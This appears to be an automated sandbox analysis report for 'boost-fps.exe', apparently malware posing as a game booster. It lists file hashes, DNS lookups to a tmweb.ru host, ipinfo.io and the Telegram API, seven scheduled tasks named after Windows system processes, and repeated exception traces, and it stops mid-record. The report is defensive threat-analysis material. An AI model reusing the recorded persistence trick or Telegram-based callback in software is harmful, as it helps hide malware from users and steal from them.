popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

boost-fps.exe

  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 April 2, 2021, 10:11 a.m. April 2, 2021, 10:13 a.m.
Size 1.3MB
Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 92fc1129af30ba08a79113624f51bcb7
SHA256 121dec5bd279daf16e683e472949a269bb9751d6ceae4274875e36abe8871946
CRC32 2E88F181
ssdeep 24576:jqdFcIwibzJkg650JzPsWH3y6F1d+4/ARKWN8+gwSLUS3cU5HYnYzN:jmJpPHy6fdz41NFg5LUSJpYnYB
Yara
  • PE_Header_Zero - PE File Signature Zero

Name Response Post-Analysis Lookup
cc58476.tmweb.ru
A 92.53.96.245
92.53.96.245
ipinfo.io
A 216.239.34.21
A 216.239.36.21
A 216.239.38.21
A 216.239.32.21
216.239.34.21
api.telegram.org
A 149.154.167.220
149.154.167.220
IP Address Status Action
149.154.167.220 Active Moloch
164.124.101.2 Active Moloch
216.239.34.21 Active Moloch
92.53.96.245 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: SUCCESS: The scheduled task "lsm" has successfully been created.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: SUCCESS: The scheduled task "taskhost" has successfully been created.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: SUCCESS: The scheduled task "wininit" has successfully been created.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: SUCCESS: The scheduled task "pw" has successfully been created.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: SUCCESS: The scheduled task "SearchFilterHost" has successfully been created.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: SUCCESS: The scheduled task "winlogon" has successfully been created.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: SUCCESS: The scheduled task "lsass" has successfully been created.
console_handle: 0x00000007
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

__exception__

 stacktrace: 
0x6274078
mscorlib+0x30c9ff @ 0x6f8ac9ff
mscorlib+0x302367 @ 0x6f8a2367
mscorlib+0x3022a6 @ 0x6f8a22a6
mscorlib+0x302261 @ 0x6f8a2261
mscorlib+0x30ca7c @ 0x6f8aca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x70562652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7057264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x70572e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x706007d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x705d7d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x705d7dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x705d7e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7056c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x70600694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7067a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 c8 05 58 69 89 45 c8 83 7d c8 00 74 1f
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6290569
registers.esp: 122154656
registers.edi: 122154720
registers.eax: 0
registers.ebp: 122154728
registers.edx: 40183648
registers.ebx: 38557040
registers.esi: 40177192
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x6274078
mscorlib+0x30c9ff @ 0x6f8ac9ff
mscorlib+0x302367 @ 0x6f8a2367
mscorlib+0x3022a6 @ 0x6f8a22a6
mscorlib+0x302261 @ 0x6f8a2261
mscorlib+0x30ca7c @ 0x6f8aca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x70562652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7057264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x70572e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x706007d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x705d7d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x705d7dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x705d7e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7056c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x70600694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7067a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 55 05 58 69 89 45 bc 8b 55 bc b9 b0 af
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x62905dc
registers.esp: 122150260
registers.edi: 122154720
registers.eax: 0
registers.ebp: 122154728
registers.edx: 40183648
registers.ebx: 38557040
registers.esi: 40177192
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x62740b4
mscorlib+0x30c9ff @ 0x6f8ac9ff
mscorlib+0x302367 @ 0x6f8a2367
mscorlib+0x3022a6 @ 0x6f8a22a6
mscorlib+0x302261 @ 0x6f8a2261
mscorlib+0x30ca7c @ 0x6f8aca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x70562652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7057264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x70572e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x706007d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x705d7d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x705d7dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x705d7e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7056c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x70600694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7067a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 90 04 58 69 89 45 c8 83 7d c8 00 74 1f
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x62906a1
registers.esp: 122154656
registers.edi: 122154720
registers.eax: 0
registers.ebp: 122154728
registers.edx: 41108448
registers.ebx: 38557040
registers.esi: 40177192
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x62740b4
mscorlib+0x30c9ff @ 0x6f8ac9ff
mscorlib+0x302367 @ 0x6f8a2367
mscorlib+0x3022a6 @ 0x6f8a22a6
mscorlib+0x302261 @ 0x6f8a2261
mscorlib+0x30ca7c @ 0x6f8aca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x70562652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7057264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x70572e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x706007d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x705d7d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x705d7dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x705d7e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7056c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x70600694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7067a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 1d 04 58 69 89 45 bc 8b 55 bc b9 b0 af
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6290714
registers.esp: 122150260
registers.edi: 122154720
registers.eax: 0
registers.ebp: 122154728
registers.edx: 41108448
registers.ebx: 38557040
registers.esi: 40177192
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x62740ff
mscorlib+0x30c9ff @ 0x6f8ac9ff
mscorlib+0x302367 @ 0x6f8a2367
mscorlib+0x3022a6 @ 0x6f8a22a6
mscorlib+0x302261 @ 0x6f8a2261
mscorlib+0x30ca7c @ 0x6f8aca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x70562652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7057264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x70572e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x706007d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x705d7d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x705d7dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x705d7e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7056c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x70600694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7067a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 58 03 58 69 89 45 c8 83 7d c8 00 74 1f
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x62907d9
registers.esp: 122154656
registers.edi: 122154720
registers.eax: 0
registers.ebp: 122154728
registers.edx: 41109272
registers.ebx: 38557040
registers.esi: 40177192
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x62740ff
mscorlib+0x30c9ff @ 0x6f8ac9ff
mscorlib+0x302367 @ 0x6f8a2367
mscorlib+0x3022a6 @ 0x6f8a22a6
mscorlib+0x302261 @ 0x6f8a2261
mscorlib+0x30ca7c @ 0x6f8aca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x70562652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7057264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x70572e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x706007d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x705d7d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x705d7dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x705d7e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7056c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x70600694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7067a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 e5 02 58 69 89 45 bc 8b 55 bc b9 b0 af
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x629084c
registers.esp: 122150260
registers.edi: 122154720
registers.eax: 0
registers.ebp: 122154728
registers.edx: 41109272
registers.ebx: 38557040
registers.esi: 40177192
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x62908fd
0x627413b
mscorlib+0x30c9ff @ 0x6f8ac9ff
mscorlib+0x302367 @ 0x6f8a2367
mscorlib+0x3022a6 @ 0x6f8a22a6
mscorlib+0x302261 @ 0x6f8a2261
mscorlib+0x30ca7c @ 0x6f8aca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x70562652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7057264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x70572e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x706007d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x705d7d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x705d7dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x705d7e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7056c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x70600694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7067a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 58 03 58 69 89 45 c8 83 7d c8 00 74 1f
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x62907d9
registers.esp: 122154540
registers.edi: 122154604
registers.eax: 0
registers.ebp: 122154612
registers.edx: 41109272
registers.ebx: 38557040
registers.esi: 40177192
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x62908fd
0x627413b
mscorlib+0x30c9ff @ 0x6f8ac9ff
mscorlib+0x302367 @ 0x6f8a2367
mscorlib+0x3022a6 @ 0x6f8a22a6
mscorlib+0x302261 @ 0x6f8a2261
mscorlib+0x30ca7c @ 0x6f8aca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x70562652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7057264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x70572e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x706007d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x705d7d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x705d7dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x705d7e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7056c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x70600694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7067a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 e5 02 58 69 89 45 bc 8b 55 bc b9 b0 af
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x629084c
registers.esp: 122150140
registers.edi: 122154604
registers.eax: 0
registers.ebp: 122154612
registers.edx: 41109272
registers.ebx: 38557040
registers.esi: 40177192
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x629090b
0x627413b
mscorlib+0x30c9ff @ 0x6f8ac9ff
mscorlib+0x302367 @ 0x6f8a2367
mscorlib+0x3022a6 @ 0x6f8a22a6
mscorlib+0x302261 @ 0x6f8a2261
mscorlib+0x30ca7c @ 0x6f8aca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x70562652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7057264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x70572e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x706007d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x705d7d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x705d7dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x705d7e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7056c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x70600694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7067a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 c8 05 58 69 89 45 c8 83 7d c8 00 74 1f
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6290569
registers.esp: 122154540
registers.edi: 122154604
registers.eax: 0
registers.ebp: 122154612
registers.edx: 40183648
registers.ebx: 38557040
registers.esi: 40177192
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x629090b
0x627413b
mscorlib+0x30c9ff @ 0x6f8ac9ff
mscorlib+0x302367 @ 0x6f8a2367
mscorlib+0x3022a6 @ 0x6f8a22a6
mscorlib+0x302261 @ 0x6f8a2261
mscorlib+0x30ca7c @ 0x6f8aca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x70562652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7057264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x70572e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x706007d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x705d7d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x705d7dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x705d7e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7056c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x70600694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7067a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 55 05 58 69 89 45 bc 8b 55 bc b9 b0 af
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x62905dc
registers.esp: 122150140
registers.edi: 122154604
registers.eax: 0
registers.ebp: 122154612
registers.edx: 40183648
registers.ebx: 38557040
registers.esi: 40177192
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x6290b3d
0x6274186
mscorlib+0x30c9ff @ 0x6f8ac9ff
mscorlib+0x302367 @ 0x6f8a2367
mscorlib+0x3022a6 @ 0x6f8a22a6
mscorlib+0x302261 @ 0x6f8a2261
mscorlib+0x30ca7c @ 0x6f8aca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x70562652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7057264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x70572e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x706007d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x705d7d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x705d7dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x705d7e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7056c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x70600694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7067a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 c8 05 58 69 89 45 c8 83 7d c8 00 74 1f
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6290569
registers.esp: 122154560
registers.edi: 122154624
registers.eax: 0
registers.ebp: 122154632
registers.edx: 40183648
registers.ebx: 38557040
registers.esi: 40177192
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x6290b3d
0x6274186
mscorlib+0x30c9ff @ 0x6f8ac9ff
mscorlib+0x302367 @ 0x6f8a2367
mscorlib+0x3022a6 @ 0x6f8a22a6
mscorlib+0x302261 @ 0x6f8a2261
mscorlib+0x30ca7c @ 0x6f8aca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x70562652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7057264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x70572e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x706007d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x705d7d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x705d7dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x705d7e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7056c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x70600694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7067a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 55 05 58 69 89 45 bc 8b 55 bc b9 b0 af
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x62905dc
registers.esp: 122150164
registers.edi: 122154624
